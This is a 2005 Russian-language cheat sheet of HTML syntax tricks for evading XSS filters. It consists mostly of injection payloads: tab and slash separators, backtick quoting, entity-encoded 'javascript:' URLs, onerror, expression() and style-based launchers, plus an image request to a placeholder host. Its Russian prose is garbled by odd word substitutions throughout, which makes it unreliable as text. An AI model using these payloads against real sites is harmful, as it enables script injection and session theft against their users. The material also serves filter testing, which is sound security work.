Особенности синтаксиса HTML

Творцы: Algol, zFailure - последние изменения 13.06.2005

Один из основных методов охраны сайтов от XSS-уязвимостей - это использование различных фильтров на вводимые пользователем символы. В этой заметке описаны особенности синтаксиса HTML, позволяющие обходить данные фильтры.

Следует отметить, что XSS уязвимости являются браузеро-зависимыми. Все приведенные ниже примеры тестировались в IE6. В других версиях либо в других браузерах, примеры могут также никак не трудиться. Например символ обратного апострофа (`) является ограничителем атрибутов только в IE. Другие браузеры, такие как Opera например, никак не считают этот символ огрничителем.

  • Разделители атрибутов тега.
    Помимо пробела, разрешено использовать символы: слеш(/), табуляцию, перевод строки. Разделитель разрешено опустить, ежели предыдущий принадлежность заключен в кавычки.
    <image/src="1.png"/alt="Подсказка"/border="0">
    <image	src="1.png"	alt="Подсказка"	border="0">
    <image
    src="1.png"
    alt="Подсказка"
    border="0">
    <image src="1.png"alt="Подсказка"border="0">
    
  • Ограничители атрибутов тега
    Значения разрешено заключать в кавычки (двойные также одинарные) также в апострофы, только разрешено общий никак не ограничивать.
    <image src="" alt="Моя подсказка" border="0">
    <image src="" alt='Моя подсказка' border="0">
    <image src="" alt=`Моя подсказка` border="0">
    <image src="" alt=Подсказка border="0">
    
  • Кодировки символов
    Расшифровка символов в скрипте проистекает до его выполнения:
    <img src=javascript:alert(&quot;ok&quot;)>
    <img src=javascript:alert(&#039;ok&#039;)>
    <img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#111&#107&#39&#41>
    <a href=javascript:alert(%22ok%22)>click me</a> (только в атрибуте href)
    
  • Ограничители символьных литералов в скриптах
    <img src=javascript:alert('ok')>
    <img src=javascript:alert("ok")>
    <img src=javascript:a=/ok/;alert(a.source)>
    <img src=javascript:alert(String.fromCharCode(111,107))>
    
  • Обход фильтрации некоторых символов
    <img src=javascript:i=new/**/Image();i.src='http://bla.bla'>(замена пробела на /**/)
    
  • Способы запуска скриптов
    Несколько способов автоматического запуска скриптов:
    <script>alert('ok')</script>
    <script src=1.js></script>
    <body onLoad=alert('ok')>
    <meta http-equiv=Refresh content=0;url=javascript:alert('ok')>
    <image src=1.png onload=alert('ok')>
    <image src=javascript:alert('ok')>
    <image src="" onerror=alert('ok')>
    <hr style=background:url(javascript:alert('ok'))>
    <span style=top:expression(alert('ok'))></span>
    <span sss="alert();this.sss=null" style=top:expression(eval(this.sss));></span> (срабатывает только один раз)<style type="text/css">@import url(javascript:alert('ok'));</style>
    <object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('ok')></object>
    <embed src=javascript:alert('ok');this.avi>
    <embed src=javascript:alert('ok');this.wav>
    <iframe src=javascript:alert('ok')> (только в IE)<a href=javascript:alert(%22ok%22)>click me</a> (запуск только при клике по ссылке)<a href=javascript:alert('aaa'+eval('alert();i=2+2')+'bbb')>click me</a>  (запуск только при клике по ссылке)<br SIZE="&{alert('XSS')}"> (только Netscape 4.x)
    
  • Различные скриптовые протоколы, способы их написания
    <img src=javascript:alert()>
    <img src=vbscript:AleRt()>
    <img src=JaVasCriPt:alert()>
    <img src=" javascript:alert()"> (пробелы вплоть до слова javascript) 
    <img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert()>
    <img src=javascript&#9:alert()>
    <img src=javascript&#10:alert()>
    <img src=javascript&#13:alert()>
    <img src="javascript
    :alert()">  (перед двоеточием - символ табуляции) 
    <img src="java
    scri
    pt:ale
    rt()"> (внутри слова javascript - символ табуляции также возврат каретки) 
    
  • Вставки скриптов в style
    Операторы скрипта в атрибуте style нужно делить "\;".
    <hr style=`background:url(javascript:alert('ok 1')\;alert('ok 2'))`>
    
  • Специальные теги.
    <image src="1.png" alt="" border="0"> (тег img также image работают одинаково)<plaintext> (все, что станет двигаться позже этого тега, станет восприниматься как обычный текст - никак не HTML)<textarea> (все, что станет двигаться позже этого тега, станет восприниматься как обычный текст - никак не HTML)<xml> (все, что станет двигаться позже этого тега, никак не станет отображаться)
    
  • Таблица часто применяемых кодов:

    Символ Десятичная кодировка 16-ая кодировка* Символьная кодировка URL-кодировка
    " &#34 &#x22; &quot %22
    ' &#39 &#x27;   %27
    ` &#96 &#x60;   %60
    <пробел> &#32 &#x20;   +
    <табуляция> &#9 &#x09;   %09
    <возврат каретки> &#13 &#x0D;   %0D
    = &#61 &#x3D;   %3D
    < &#60 &#x3C; &lt %3C
    > &#62 &#x3E; &gt %3E
    \ &#92 &#x5C;   %5C
    % &#37 &#x25;   %25
    + &#43 &#x2B;   %2B
    <короткий дефис> &#173 &#xAD; &shy %AD
    & &#38 &#x26; &amp %26

    *-в некоторых случаях точку с запятой можно опустить (если символ стоит в конце строки, либо подряд идут несколько символов в этой кодировке).

    См. схоже: http://ha.ckers.org/xss.html